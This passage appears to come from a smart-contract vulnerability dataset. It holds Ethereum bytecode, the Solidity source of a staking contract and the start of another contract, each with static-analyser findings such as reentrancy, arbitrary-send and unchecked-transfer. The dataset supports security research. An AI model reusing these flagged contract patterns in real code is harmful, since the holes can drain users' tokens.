6004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610822565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110cf57506001600160a01b03821660009081526005602052604090205460ff16155b80156110eb57503360009081526005602052604090205460ff16155b6110f457600080fd5b6001600160a01b0383166111585760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610822565b6001600160a01b0382166111ba5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610822565b6000811161121c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610822565b600080546001600160a01b0385811691161480159061124957506000546001600160a01b03848116911614155b1561167e576009546001600160a01b03858116911614801561127957506007546001600160a01b03848116911614155b801561129e57506001600160a01b03831660009081526004602052604090205460ff16155b1561151a5760105460ff166112f55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610822565b600f54421415611323576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113349190611d89565b11156113ae57600e5461134684610894565b6113509084611d89565b11156113ae5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610822565b6001600160a01b03831660009081526006602052604090206001015460ff16611416576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114279190611d89565b11156114fb57600d5482111561147f5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610822565b61148a42601e611d89565b6001600160a01b038416600090815260066020526040902054106114fb5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610822565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611534575060105460ff165b801561154e57506009546001600160a01b03858116911614155b1561167e5761155e42600f611d89565b6001600160a01b038516600090815260066020526040902054106115d05760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610822565b60006115db30610894565b905080156116675760105462010000900460ff161561165e57600c5460095460649190611610906001600160a01b0316610894565b61161a9190611da1565b6116249190611dc0565b81111561165e57600c5460095460649190611647906001600160a01b0316610894565b6116519190611da1565b61165b9190611dc0565b90505b61166781611717565b47801561167757611677476116dd565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116c057506001600160a01b03841660009081526004602052604090205460ff165b156116c9575060005b6116d6858585848661188b565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c2573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061175b5761175b611cbb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d89190611d21565b816001815181106117eb576117eb611cbb565b6001600160a01b0392831660209182029290920101526007546118119130911684610f69565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061184a908590600090869030904290600401611de2565b600060405180830381600087803b15801561186457600080fd5b505af1158015611878573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061189783836118ad565b90506118a5868686846118d1565b505050505050565b60008083156118ca5782156118c55750600a546118ca565b50600b545b9392505050565b6000806118de84846119ae565b6001600160a01b0388166000908152600260205260409020549193509150611907908590611ca4565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611937908390611d89565b6001600160a01b038616600090815260026020526040902055611959816119e2565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161199e91815260200190565b60405180910390a3505050505050565b6000808060646119be8587611da1565b6119c89190611dc0565b905060006119d68287611ca4565b96919550909350505050565b306000908152600260205260409020546119fd908290611d89565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a3d57858101830151858201604001528201611a21565b81811115611a4f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461089157600080fd5b8035611a8581611a65565b919050565b60008060408385031215611a9d57600080fd5b8235611aa881611a65565b946020939093013593505050565b60008060408385031215611ac957600080fd5b50508035926020909101359150565b600080600060608486031215611aed57600080fd5b8335611af881611a65565b92506020840135611b0881611a65565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b4257600080fd5b823567ffffffffffffffff80821115611b5a57600080fd5b818501915085601f830112611b6e57600080fd5b813581811115611b8057611b80611b19565b8060051b604051601f19603f83011681018181108582111715611ba557611ba5611b19565b604052918252848201925083810185019188831115611bc357600080fd5b938501935b82851015611be857611bd985611a7a565b84529385019392850192611bc8565b98975050505050505050565b600060208284031215611c0657600080fd5b81356118ca81611a65565b600060208284031215611c2357600080fd5b5035919050565b801515811461089157600080fd5b600060208284031215611c4a57600080fd5b81356118ca81611c2a565b60008060408385031215611c6857600080fd5b8235611c7381611a65565b91506020830135611c8381611a65565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cb657611cb6611c8e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ce557611ce5611c8e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d3357600080fd5b81516118ca81611a65565b600080600060608486031215611d5357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d7e57600080fd5b81516118ca81611c2a565b60008219821115611d9c57611d9c611c8e565b500190565b6000816000190483118215151615611dbb57611dbb611c8e565b500290565b600082611ddd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e325784516001600160a01b031683529383019391830191600101611e0d565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122027ad0fc2e39e77bffad3e05bae7527cb158d687d24e8e22e69614f8babfc496864736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,834 |
0xf1c577bf8e34938b316fd6bd60132716b23f4eb2
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public constant tokenAddress = 0x640A94042CC184b693D5a535a6898C99200a1EC2;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
uint txFee1 = amountToStake.mul(400).div(10000);
uint txFee2 = amountToStake.mul(400).div(10000);
uint amountAfterFee = amountToStake.sub(txFee1).sub(txFee2);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
totalTokens = totalTokens.add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
}
function receiveApproval(address _from, uint256 _value, bytes memory _extraData) public {
require(msg.sender == tokenAddress);
distributeDivs(_value);
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
revert();
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638e20a1d9116100a2578063a694fc3a11610071578063a694fc3a146104c8578063c326bf4f146104f6578063d578ceab1461054e578063f2fde38b1461056c578063f3f91fa0146105b057610116565b80638e20a1d91461033957806398896d10146103575780639d76ea58146103af578063a2d57853146103e357610116565b80636270cd18116100e95780636270cd1814610203578063658b67291461025b5780636a395ccb146102795780637e1c0c09146102e75780638da5cb5b1461030557610116565b80631f04461c1461011b5780632e17de78146101735780634e71d92d146101a1578063583d42fd146101ab575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610608565b6040518082815260200191505060405180910390f35b61019f6004803603602081101561018957600080fd5b8101908080359060200190929190505050610620565b005b6101a961093d565b005b6101ed600480360360208110156101c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610948565b6040518082815260200191505060405180910390f35b6102456004803603602081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610960565b6040518082815260200191505060405180910390f35b610263610978565b6040518082815260200191505060405180910390f35b6102e56004803603606081101561028f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610989565b005b6102ef610ae0565b6040518082815260200191505060405180910390f35b61030d610ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610341610b0a565b6040518082815260200191505060405180910390f35b6103996004803603602081101561036d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b10565b6040518082815260200191505060405180910390f35b6103b7610c57565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c6600480360360608110156103f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561044057600080fd5b82018360208201111561045257600080fd5b8035906020019184600183028401116401000000008311171561047457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610c6f565b005b6104f4600480360360208110156104de57600080fd5b8101908080359060200190929190505050610cc9565b005b6105386004803603602081101561050c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611043565b6040518082815260200191505060405180910390f35b61055661105b565b6040518082815260200191505060405180910390f35b6105ae6004803603602081101561058257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611061565b005b6105f2600480360360208110156105c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b0565b6040518082815260200191505060405180910390f35b60086020528060005260406000206000915090505481565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6106de336111c8565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561076357600080fd5b505af1158015610777573d6000803e3d6000fd5b505050506040513d602081101561078d57600080fd5b8101908080519060200190929190505050610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61086281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ba81600a546114a490919063ffffffff16565b600a819055506108d43360026114bb90919063ffffffff16565b801561091f57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561093a576109383360026114eb90919063ffffffff16565b505b50565b610946336111c8565b565b60056020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b6000610984600261151b565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e157600080fd5b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a2e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a9f57600080fd5b505af1158015610ab3573d6000803e3d6000fd5b505050506040513d6020811015610ac957600080fd5b810190808051906020019092919050505050505050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000610b268260026114bb90919063ffffffff16565b610b335760009050610c52565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b845760009050610c52565b6000610bda600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546009546114a490919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610c49600b54610c3b858561153090919063ffffffff16565b61155f90919063ffffffff16565b90508093505050505b919050565b73640a94042cc184b693d5a535a6898c99200a1ec281565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cbb57600080fd5b610cc482611578565b505050565b60008111610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b610d48336111c8565b73640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610deb57600080fd5b505af1158015610dff573d6000803e3d6000fd5b505050506040513d6020811015610e1557600080fd5b8101908080519060200190929190505050610e98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b6000610ec3612710610eb56101908561153090919063ffffffff16565b61155f90919063ffffffff16565b90506000610ef0612710610ee26101908661153090919063ffffffff16565b61155f90919063ffffffff16565b90506000610f1982610f0b85876114a490919063ffffffff16565b6114a490919063ffffffff16565b9050610f6d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cf90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc581600a546115cf90919063ffffffff16565b600a81905550610fdf3360026114bb90919063ffffffff16565b61103d57610ff73360026115eb90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b60046020528060005260406000206000915090505481565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110f357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006111d382610b10565b905060008111156114165773640a94042cc184b693d5a535a6898c99200a1ec273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b505050506040513d602081101561128d57600080fd5b8101908080519060200190929190505050611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61136281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cf90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ba816001546115cf90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000828211156114b057fe5b818303905092915050565b60006114e3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61161b565b905092915050565b6000611513836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61163e565b905092915050565b600061152982600001611726565b9050919050565b6000808284029050600084148061154f57508284828161154c57fe5b04145b61155557fe5b8091505092915050565b60008082848161156b57fe5b0490508091505092915050565b6000600a541415611588576115cc565b6115c56115b4600a546115a6600b548561153090919063ffffffff16565b61155f90919063ffffffff16565b6009546115cf90919063ffffffff16565b6009819055505b50565b6000808284019050838110156115e157fe5b8091505092915050565b6000611613836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611737565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461171a576000600182039050600060018660000180549050039050600086600001828154811061168957fe5b90600052602060002001549050808760000184815481106116a657fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806116de57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611720565b60009150505b92915050565b600081600001805490509050919050565b6000611743838361161b565b61179c5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506117a1565b600090505b9291505056fea264697066735822122001e3834aabb0db1304889b1d519afbbd50b310afe26accbcd516ff7d3688603a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,835 |
0x884b8a80ea097ef33f7a1990fc931911174391ed
|
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage)
internal
pure
returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage)
internal
pure
returns (uint256)
{
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage)
internal
pure
returns (uint256)
{
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
